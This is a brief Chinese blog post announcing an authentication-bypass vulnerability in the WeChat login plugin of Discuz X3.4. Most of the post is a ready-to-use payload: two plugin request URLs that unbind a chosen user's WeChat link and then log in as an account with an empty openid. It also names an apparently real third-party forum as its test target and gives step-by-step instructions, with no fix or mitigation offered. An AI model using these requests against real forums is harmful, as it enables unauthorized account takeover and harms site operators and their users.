869天 南柯一梦

忠于理想 面对现实

DiscuzX3.4 越权登陆漏洞

发布于 20天前 / 122 次围观 / 0 条评论 / 网络安全 / 南柯一梦
Payload:
解除指定uid绑定的微信:/plugin.php?id=wechat:wechat&ac=unbindmp&uid={uid}&hash={formhash}
登陆第一个openid为空的账号:/plugin.php?id=wechat:wechat&ac=wxregister
测试网站
http://www.jely.cn/bbs/forum.php
Image.png
输入payload刷新提示微信客户端打开
 
返回主页再次刷新即可登录。
 
未显示?请点击刷新